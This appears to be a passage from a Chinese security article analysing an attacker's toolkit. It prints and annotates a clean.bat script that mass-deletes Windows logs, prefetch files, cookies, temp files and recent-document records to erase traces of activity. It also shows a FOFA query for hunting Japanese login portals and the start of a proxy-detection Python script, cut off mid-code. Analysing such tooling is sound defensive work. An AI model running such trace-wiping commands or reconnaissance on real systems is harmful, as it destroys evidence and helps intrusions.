style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.2862862862862863" data-w="999" src="https://wechat2rss.xlab.app/img-proxy/?k=b396cc55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0QfTR3nCahHQrQxKao5aKX6RmPQDNiarD4kuBniamczjGBxYETnoC8yzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">clean.bat</span></strong><span leaf="">:</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过一系列的 del (删除文件) 和 rd (删除目录) 命令，试图移除Windows更新的卸载备份、临时文件、日志、预取文件、Cookies以及最近访问的文档记录等。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">@</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span leaf=""> off </span><span leaf="">color 0b</span><span leaf="">RD %windir%\</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$hf_mig</span></span><span leaf="">$ /Q /S </span><span leaf="">dir %windir%\</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$NtUninstall</span></span><span leaf="">/a:d /b &gt;%windir%\Patches.txt </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> /f %%i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (%windir%\Patches.txt) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">do</span></span><span leaf=""> rd %windir%\%%i /s /q </span><span leaf="">del %windir%\Patches.txt /f /q </span><span leaf="">rd /s /q %windir%\SoftwareDistribution\Download &amp; md %windir\SoftwareDistribution\Download</span><span leaf="">del %windir%\*.</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">log</span></span><span leaf=""> /f /q </span><span leaf="">del /f /s /q %windir%\*.bak </span><span leaf="">del /f /s /q %windir%\prefetch\*.* </span><span leaf="">rd /s /q %windir%\temp &amp; md %windir%\temp</span><span leaf="">del /f /q %userprofile%\AppData\Roaming\Microsoft\Windows\Cookies\*.*</span><span leaf="">del /f /s /q </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%userprofile%\AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*&#34;</span></span><span leaf="">del /f /s /q </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*&#34;</span></span><span leaf="">del /f /s /q %userprofile%\appdata\roaming\microsoft\windows\recent\*.*</span><span leaf="">del /f /s /q </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%userprofile%\appdata\local\temp\*.*&#34;</span></span><span leaf="">rd /s /q %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnD &amp;md %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnD</span><span leaf="">rd  /s /q  windir</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这里我简单加了个注释方便理解：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">@</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span leaf=""> off </span><span leaf="">:: 关闭命令回显，让窗口输出更干净</span><span leaf="">color 0b</span><span leaf="">:: 设置窗口颜色为黑底亮水绿色，美化界面</span><span leaf="">RD %windir%\</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$hf_mig</span></span><span leaf="">$ /Q /S </span><span leaf="">:: 删除旧版Windows的热修复补丁迁移文件夹</span><span leaf="">dir %windir%\</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$NtUninstall</span></span><span leaf="">/a:d /b &gt;%windir%\Patches.txt </span><span leaf="">:: 将所有更新卸载文件夹的名称列表输出到临时文件</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> /f %%i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (%windir%\Patches.txt) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">do</span></span><span leaf=""> rd %windir%\%%i /s /q </span><span leaf="">:: 逐个删除列表中的所有更新卸载文件夹</span><span leaf="">del %windir%\Patches.txt /f /q </span><span leaf="">:: 删除刚才创建的临时文件</span><span leaf="">rd /s /q %windir%\SoftwareDistribution\Download &amp; md %windir%\SoftwareDistribution\Download</span><span leaf="">:: 清空Windows Update的下载缓存目录，然后重建空目录</span><span leaf="">del %windir%\*.</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">log</span></span><span leaf=""> /f /q </span><span leaf="">:: 删除C:\Windows目录下的所有日志文件 (*.</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">log</span></span><span leaf="">)</span><span leaf="">del /f /s /q %windir%\*.bak </span><span leaf="">:: 递归删除C:\Windows及其子目录下的所有备份文件 (*.bak)</span><span leaf="">del /f /s /q %windir%\prefetch\*.* </span><span leaf="">:: 清空预取文件夹，清除程序启动痕迹</span><span leaf="">rd /s /q %windir%\temp &amp; md %windir%\temp</span><span leaf="">:: 清空系统临时文件夹，然后重建空目录</span><span leaf="">del /f /q %userprofile%\AppData\Roaming\Microsoft\Windows\Cookies\*.*</span><span leaf="">:: 删除IE浏览器的Cookies</span><span leaf="">del /f /s /q </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%userprofile%\AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*&#34;</span></span><span leaf="">:: 删除IE浏览器的缓存文件</span><span leaf="">del /f /s /q </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*&#34;</span></span><span leaf="">:: 删除“最近使用的项目”记录</span><span leaf="">del /f /s /q %userprofile%\appdata\roaming\microsoft\windows\recent\*.*</span><span leaf="">:: 再次删除“最近使用的项目”记录</span><span leaf="">del /f /s /q </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%userprofile%\appdata\local\temp\*.*&#34;</span></span><span leaf="">:: 清空用户个人临时文件夹</span><span leaf="">rd /s /q %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnD &amp;md %userprofile%\AppData\Local\Temp\vmware-host\VMwareDnD</span><span leaf="">:: 清理VMware虚拟机拖放功能的临时文件</span><span leaf="">rd  /s /q  windir</span><span leaf="">:: 尝试删除当前目录下名为 </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;windir&#34;</span></span><span leaf=""> 的文件夹 (这是一个语法错误，本意可能是想删除 %windir%)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">fofa.txt</span></strong><span leaf="">:</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">保存的fofa搜索语句：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">title=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;User portal&#34;</span></span><span leaf=""> &amp;&amp; country=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;JP&#34;</span></span><span leaf=""> &amp;&amp; icon_hash=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;1601194732&#34;</span></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;" class="rich_pages wxw-img" data-ratio="0.1824074074074074" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9032a2b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt02liaagsC3x8EdlMibuicu36fWkk9A0gXHXX4KccMbIqdsGueG6qXeTuBw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26quot"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">不过账号已经无效了</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">proxy_test.py</span></strong><span leaf="">：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">获取当前用户的Internet Explorer代理设置。这包括自动检测设置、PAC脚本URL和手动设置的代理服务器。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">解析这些设置，找出对于一个给定的目标URL（例如<a href="http://www.google.com），系统最终会使用哪个代理服务器。" target="_blank">http://www.google.com），系统最终会使用哪个代理服务器。</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">测试找到的代理服务器，验证它们是否真的可以正常工作。</span></p></li></ul><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ctypes</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ctypes.wintypes</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">WINHTTP_CURRENT_USER_IE_PROXY_CONFIG</span></span><span style="line-height: 26px;"><span leaf="">(ctypes.Structure)</span></span><span leaf="">:</span></span><span leaf="">    _fields_ = [(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;fAutoDetect&#34;</span></span><span leaf="">, ctypes.wintypes.BOOL),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lpszAutoConfigUrl&#34;</span></span><span leaf="">, ctypes.wintypes.LPWSTR),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lpszProxy&#34;</span></span><span leaf="">, ctypes.wintypes.LPWSTR),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lpszProxyBypass&#34;</span></span><span leaf="">, ctypes.wintypes.LPWSTR)]</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">WINHTTP_AUTOPROXY_OPTIONS</span></span><span style="line-height: 26px;"><span leaf="">(ctypes.Structure)</span></span><span leaf="">:</span></span><span leaf="">    _fields_ = [(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dwFlags&#34;</span></span><span leaf="">, ctypes.wintypes.DWORD),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dwAutoDetectFlags&#34;</span></span><span leaf="">, ctypes.wintypes.DWORD),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lpszAutoConfigUrl&#34;</span></span><span leaf="">, ctypes.wintypes.LPCWSTR),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lpvReserved&#34;</span></span><span leaf="">, ctypes.c_void_p),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dwReserved&#34;</span></span><span leaf="">, ctypes.wintypes.DWORD),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;fAutoLogonIfChallenged&#34;</span></span><span leaf="">, ctypes.wintypes.BOOL)]</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">WINHTTP_PROXY_INFO</span></span><span style="line-height: 26px;"><span leaf="">(ctypes.Structure)</span></span><span leaf="">:</span></span><span leaf="">    _fields_ = [(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dwAccessType&#34;</span></span><span leaf="">, ctypes.wintypes.DWORD),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lpszProxy&#34;</span></span><span leaf="">, ctypes.wintypes.LPCWSTR),</span><span leaf="">                (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;lpszProxyBypass&#34;</span></span><span leaf="">, ctypes.wintypes.LPCWSTR)]</span><span leaf="">WINHTTP_USER_AGENT = ctypes.c_wchar_p(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko&#39;</span></span><span leaf="">)</span><span leaf="">WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">WINHTTP_ACCESS_TYPE_NO_PROXY = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">WINHTTP_ACCESS_TYPE_NAMED_PROXY = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">WINHTTP_NO_PROXY_NAME = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">WINHTTP_NO_PROXY_BYPASS = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ShowLastError</span></span><span style="line-height: 26px;"><span leaf="">(message, alignment = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf="">    error_id = ctypes.GetLastError()</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf=""> * alignment + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;[-] Error on %s: %s&#39;</span></span><span leaf=""> % (message, error_id)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> error_id == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12167</span></span><span leaf="">:</span><span leaf="">        title = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT&#39;</span></span><span leaf="">        message = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;The PAC file cannot be downloaded. For example, the server referenced by the PAC URL may not have been reachable, or the server returned a 404 NOT FOUND response.&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> error_id == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12007</span></span><span leaf="">:</span><span leaf="">        title = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ERROR_WINHTTP_NAME_NOT_RESOLVED&#39;</span></span><span leaf="">        message = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;The server name cannot be resolved.&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> error_id == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12029</span></span><span leaf="">:</span><span leaf="">        title = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ERROR_WINHTTP_CANNOT_CONNECT&#39;</span></span><span leaf="">        message = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Returned if connection to the server failed.&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> error_id == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12002</span></span><span leaf="">:</span><span leaf="">        title = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ERROR_WINHTTP_TIMEOUT&#39;</span></span><span leaf="">        message = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;The request has timed out.&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> error_id == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12180</span></span><span leaf="">:</span><span leaf="">        title = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ERROR_WINHTTP_AUTODETECTION_FAILED&#39;</span></span><span leaf="">        message = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Returned by WinHttpDetectAutoProxyConfigUrl if WinHTTP was unable to discover the URL of the Proxy Auto-Configuration (PAC) file.&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf="">        title = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;UNKNOWN&#39;</span></span><span leaf="">        message = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;unknown&#39;</span></span><span leaf="">    msg_max_len = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">70</span></span><span leaf="">    msg_list = [message[i:i+msg_max_len] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(message), msg_max_len)]</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf=""> * alignment + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;    =&gt; %s&#39;</span></span><span leaf=""> % title</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> msg </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> msg_list:</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf=""> * alignment + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;       %s&#39;</span></span><span leaf=""> % msg</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">GetCurrentProxies</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf="">    pProxyConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()</span><span leaf="">    result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(pProxyConfig))</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> result == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf="">        ShowLastError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WinHttpGetIEProxyConfigForCurrentUser&#39;</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">, pProxyConfig</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">GetProxyInfoList</span></span><span style="line-height: 26px;"><span leaf="">(pProxyConfig, target_url)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">print</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n[*] Checking proxy configuration alternatives...&#39;</span></span><span leaf="">    proxy_list = []</span><span leaf="">    hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT,  WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, </span><span style="color: 